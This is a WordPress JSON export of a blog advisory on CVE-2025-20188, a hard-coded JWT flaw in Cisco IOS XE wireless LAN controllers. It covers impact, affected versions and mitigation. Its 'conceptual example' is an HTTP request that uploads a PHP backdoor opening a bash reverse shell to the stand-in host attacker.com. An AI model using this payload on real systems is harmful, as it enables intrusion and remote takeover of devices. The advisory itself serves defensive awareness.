{"id":38106,"date":"2025-05-14T16:50:36","date_gmt":"2025-05-14T16:50:36","guid":{"rendered":""},"modified":"2025-07-10T17:20:11","modified_gmt":"2025-07-10T23:20:11","slug":"cve-2025-20188-cisco-ios-xe-software-for-wireless-lan-controllers-security-vulnerability","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-20188-cisco-ios-xe-software-for-wireless-lan-controllers-security-vulnerability\/","title":{"rendered":"<strong>CVE-2025-20188: Cisco IOS XE Software for Wireless LAN Controllers Security Vulnerability<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The blog post details a severe vulnerability, CVE-2025-20188, affecting the Cisco IOS XE Software for Wireless LAN Controllers (WLCs). This flaw is particularly concerning as it opens up the possibility for an unauthenticated, remote attacker to upload arbitrary files to an affected system, potentially compromising the system or causing data leakage.<br \/>\nThis vulnerability, if exploited, can have severe consequences for organizations relying on Cisco&#8217;s WLCs, as it can result in <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3921-unauthorized-modification-of-data-in-peprodev-ultimate-profile-solutions-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"43929\">unauthorized system control or even data<\/a> breaches. Given the widespread use of these controllers in enterprise networks worldwide, understanding and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4335-privilege-escalation-vulnerability-in-woocommerce-multiple-addresses-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"43930\">addressing this vulnerability<\/a> is of paramount importance.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-20188<br \/>\nSeverity: Critical (CVSS: 10.0)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30165-potential-system-compromise-in-vllm-v0-engine\/\"  data-wpil-monitor-id=\"44037\">System compromise<\/a>, potential data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-223553923\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20186-command-injection-vulnerability-in-cisco-ios-xe-software-s-wireless-lan-controller-feature\/\"  data-wpil-monitor-id=\"45517\">Cisco IOS XE Software for Wireless LAN Controllers<\/a> | All versions with Out-of-Band AP Image Download feature<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The CVE-2025-20188 <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4648-integrity-check-vulnerability-in-centreon-web-leading-to-potential-xss-injection\/\"  data-wpil-monitor-id=\"49914\">vulnerability stems from a hard-coded JSON Web<\/a> Token (JWT) in the system. Attackers can exploit this by sending crafted HTTPS <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6001-cross-site-request-forgery-vulnerability-in-virtuemart-product-image-upload-function\/\"  data-wpil-monitor-id=\"65506\">requests to the AP image<\/a> download interface of the affected device. If successful, this exploit allows an attacker not only to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-13418-critical-arbitrary-file-upload-vulnerability-in-multiple-wordpress-plugins-and-themes\/\"  data-wpil-monitor-id=\"42947\">upload arbitrary files<\/a> but also to perform path traversal and execute arbitrary commands with root privileges. This exploit, however, requires the Out-of-Band AP Image Download feature to be enabled on the device.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2748462621\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how an HTTPS <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47462-cross-site-request-forgery-vulnerability-in-ohidul-islam-challan-leading-to-privilege-escalation\/\"  data-wpil-monitor-id=\"43692\">request exploiting this vulnerability<\/a> might look:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/ap_image_download HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/json\nAuthorization: Bearer hardcoded_jwt\n{\n&quot;file&quot;: &quot;\/var\/www\/html\/backdoor.php&quot;,\n&quot;content&quot;: &quot;&lt;?php exec(&#039;\/bin\/bash -c \\&quot;bash -i &gt;&amp; \/dev\/tcp\/attacker.com\/8080 0&gt;&amp;1\\&quot;&#039;); ?&gt;&quot;\n}<\/code><\/pre>\n<p>In this conceptual example, the attacker is attempting to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52207-critical-php-script-upload-vulnerability-in-mikopbx\/\"  data-wpil-monitor-id=\"65505\">upload a PHP<\/a> backdoor to the target&#8217;s web root. If successful, this would give the attacker the ability to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-37446-arbitrary-code-execution-vulnerability-in-gtkwave-3-3-115\/\"  data-wpil-monitor-id=\"42961\">execute arbitrary<\/a> commands on the system.<\/p>\n<p><strong>Recommendations and Mitigation<\/strong><\/p>\n<p>The primary mitigation for this vulnerability is to apply the vendor-provided patch. If this is not immediately feasible, employing a web application firewall (WAF) or intrusion detection system (IDS) can serve as a temporary mitigation strategy. It is also recommended to disable the Out-of-Band AP Image Download feature if it is not strictly necessary for your organization&#8217;s operations.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The blog post details a severe vulnerability, CVE-2025-20188, affecting the Cisco IOS XE Software for Wireless LAN Controllers (WLCs). This flaw is particularly concerning as it opens up the possibility for an unauthenticated, remote attacker to upload arbitrary files to an affected system, potentially compromising the system or causing data leakage. This vulnerability, if [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[77,96],"product":[97],"attack_vector":[85],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-38106","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-apple","vendor-cisco","product-cisco-ios-xe","attack_vector-directory-traversal"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/38106","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=38106"}],"version-history":[{"count":8,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/38106\/revisions"}],"predecessor-version":[{"id":58956,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/38106\/revisions\/58956"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=38106"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=38106"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=38106"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=38106"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=38106"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=38106"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=38106"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=38106"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=38106"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}